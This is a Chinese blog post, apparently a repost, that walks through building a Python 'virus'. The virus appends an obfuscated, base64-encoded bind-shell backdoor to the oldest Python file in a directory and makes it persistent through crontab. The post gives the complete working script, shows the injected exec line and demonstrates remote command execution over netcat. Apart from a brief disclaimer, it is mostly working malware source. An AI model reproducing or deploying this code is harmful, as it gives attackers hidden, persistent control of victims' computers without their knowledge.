devbox
从前慢现在也慢
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

来看看Python病毒长啥样

作者：从前慢现在也慢 | 2024-06-30 23:19:52

赞

踩

来看看Python病毒长啥样

大家好，抱歉偷懒了几天，最近的作息也逐渐规律起来，更新也会尽量在早上 7 点前发出。接下来的日子里，让我们继续玩转 Python。

今天的文章来展示一个 Python“病毒”，它感染其他 Python 文件来创建一个后门。后门利用 Python 的内置 socket 模块来创建一个监听器，用来连接到 Python 的内置子进程模块，从而靶机上执行命令，同时还通过创建一个 cronjob 来建立持久性，以在每天固定的时间运行后门。最终完整的 Python 脚本包含在本文末尾。注意：请不要将本文中提供的 Python 脚本用于恶意目的。虽然它不先进，但经过一些修改，它可以让完全控制某人的计算机。本文的主要目的是通过这些脚本，更好地了解黑客如何获取正常程序并使它们成为恶意程序。

话不多说，让我们开始吧。

1、建立通信

任何后门最重要的部分都是建立通信。现在，让我们为后门访问编写一段代码。通过 TCP 连接到靶机，我们使用套接字模块监听黑客的连接请求。在 socket 模块中，有一个函数也称为 socket，我们可以使用它来创建 TCP 或 UDP 套接字。使用 socket.socket 函数创建套接字时，我们需要提供两个参数来指定我们要使用的 IP 版本和第 4 层协议。在这个 Python 脚本中，我们将传入以下参数：socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4

  • SOCK_STREAM ：指定 TCP 而不是 UDP。

  • socket.socket 函数返回一个对象，该对象由最终确定正在创建的套接字是侦听套接字（服务器）还是连接套接字（客户端）的方法组成。要创建侦听套接字，需要使用以下方法：

  • bind > 将 IP 地址和端口绑定到网络接口

  • listen > 指示我们的套接字开始监听传入的连接

  • accept > 接受传入连接

  • recv > 从连接的客户端接收数据

  • send > 向连接的客户端发送数据

然而，最重要的方法是 recv 和 send。recv 方法会接收来自攻击者的命令，使用 subproces.run 函数在受害者的系统上执行它们，然后将执行命令的标准输出重定向到与攻击者建立的 TCP 连接。下面是 Python 代码：

  1. from socket import socket, AF_INET, SOCK_STREAM
  2. from subprocess import run, PIPE
  3. from os import _exit
  4.  
  5.  
  6. def serve():
  7.     with socket(AF_INET, SOCK_STREAM) as soc:
  8.         # [*] The obfuscated values are just the IP address and port to bind to
  9.         soc.bind((ip, 端口))
  10.         soc.listen(5)
  11.         while True:
  12.             conn, _ = soc.accept()
  13.             while True:
  14.                 cmd = conn.recv(1024).decode("utf-8").strip()
  15.                 cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
  16.                 if cmd_output.returncode == 0:
  17.                     conn.send(bytes(cmd_output.stdout))
  18.                 else:
  19.                     continue
  20.  
  21.  
  22. serve()

2、感染目标 Python 文件

这段程序通过遍历指定目录（最好是用户的主目录）并查找修改时间最早的 Python 脚本。这里是测试，因此不是感染所有 Python 文件，而仅感染修改时间最早的文件。感染一个 Python 文件对于控制靶机来说已经够了。

  1. def MTRkYmNubWx(self):
  2.     YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
  3.     for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
  4.         for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
  5.             if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
  6.                 continue
  7.             eHhtbG1vZGF0 = stat(f).st_mtime
  8.             ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
  9.             if not self.Z2hhenh4ZGwK:
  10.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  11.             elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
  12.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  13.     self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

上述代码的部分变量使用了混淆，让人不易看懂，其实很简单，就是使用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的修改时间。获得的每个文件的修改时间被转换为 datetime.datetime 对象，以便我们可以使用 > < 和 == 等运算符轻松比较日期。在这个函数的最后，选定的目标 Python 文件名被传递到将后门服务器代码注入其中的函数。

3、通过 crontab 任务来持久化

这个 Python 后门的最后一个函数使用 subprocess.run 函数来调用一个 Linux shell 命令，该命令将在当前用户的 crontab 文件中创建一个条目。此条目指定计划的 cronjob 应在每天 14:00 定时运行。添加 crontab 对应的 shell 命令如下：

echo '00 14 * * * file_name | crontab -

然后我们让 Python 把上一步感染的文件添加到 crontab 中：

  1. def YWZhdGhjCg(self):
  2.     if self.bGpqZ2hjen == "Linux": 
  3.         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)

4、最终的完整代码

  1. #!/usr/bin/env python3
  2. from os.path import expanduser
  3. from os import walk, stat
  4. from sys import path
  5. from glob import glob
  6. from platform import system
  7. from base64 import b64encode, b64decode
  8. from subprocess import run, PIPE
  9. from datetime import datetime
  10.  
  11.  
  12. class eHhjemR5eXB:
  13.     def __init__(self, cHlkYWNhZWFpa):
  14.         self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
  15.         self.bGpqZ2hjen = system()
  16.         self.aWFmYXRye = "0.0.0.0"
  17.         self.ZmFsa2p0aGM = 0x401
  18.         self.Z2hhenh4ZGwK = None
  19.  
  20.     def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
  21.         YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
  22.         YWxmanRob += b"\nfrom subprocess import run, PIPE"
  23.         YWxmanRob += b"\ndef serve():"
  24.         YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
  25.         YWxmanRob += bytes(
  26.             f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
  27.         )
  28.         YWxmanRob += b"\n\t\tsoc.listen(5)"
  29.         YWxmanRob += b"\n\t\twhile True:"
  30.         YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
  31.         YWxmanRob += b"\n\t\t\twhile True:"
  32.         YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
  33.         YWxmanRob += (
  34.             b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
  35.         )
  36.         YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
  37.         YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
  38.         YWxmanRob += b"\n\t\t\t\telse: continue"
  39.         YWxmanRob += b"\nserve()"
  40.  
  41.         YWxmanRob_base64 = b64encode(YWxmanRob)
  42.         cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
  43.         cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
  44.         cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
  45.             YWxmanRob_base64.decode()
  46.         )
  47.  
  48.         with open(dGR6eGFteXBxC, "a") as f:
  49.             f.write(cXBxZXJjYQ)
  50.         self.ZmFsa2p0aGM += 1
  51.  
  52.     def MTRkYmNubWx(self):
  53.         YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
  54.         for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
  55.             for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
  56.                 if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
  57.                     continue
  58.                 eHhtbG1vZGF0 = stat(f).st_mtime
  59.                 ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
  60.                 if not self.Z2hhenh4ZGwK:
  61.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  62.                 elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
  63.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  64.         self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
  65.  
  66.     def YWZhdGhjCg(self):
  67.         if self.bGpqZ2hjen == "Linux":
  68.             run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
  69.  
  70.  
  71. if __name__ == "__main__":
  72.     # For traversing the user's home directory
  73.     # aGdsZGFx = expanduser('~')
  74.     # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
  75.     YmNjLGFka2x = eHhjemR5eXB("./test")
  76.     YmNjLGFka2x.MTRkYmNubWx()
  77.     YmNjLGFka2x.YWZhdGhjCg()

在靶机执行该代码后，会感染 ./test 目录中最早修改的文件（目标文件），会自动在目标文件的最后添加这两行代码：

  1. from subprocess import run
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
fe3fed6f0409a2a3f1f2f81c538eeffa.png

是不是非常隐蔽？

5、访问后门

为了测试，我们手动执行下感染的文件，而不是等待 crontab。

  1. ~ # crontab -l
  2. 37 13 * * * /root/transferfile/transfile_interface.py
  3. ~ # cd transferfile/
  4. ~/transferfile # python transfile_interface.py
  5. ~/transferfile #

程序正常结束，没有任何异常。然后使用 nc localhost 1025 来反弹一个 shell，在这里执行 ls， whoami 就是靶机的信息了：

8b67a5687667391b2454c328ddaaea14.png

这里演示的 localhost 即为靶机，真实场景下就是靶机的 ip 地址。现在靶机已经完全被控制了，而受害者完全不知情。

最后的话

现在，你已经学习了如何使用 Python 编程语言创建持久性后门，学习了如何使用 Python 的 socket 模块、如何遍历目录以及如何创建 crontab 任务。如果要感染真实靶机，还要学会如何分发这个后门程序，这里不做探讨。如果有收获，还请点赞、在看、转发，感谢你的阅读和支持。

留言

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/774329?site
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号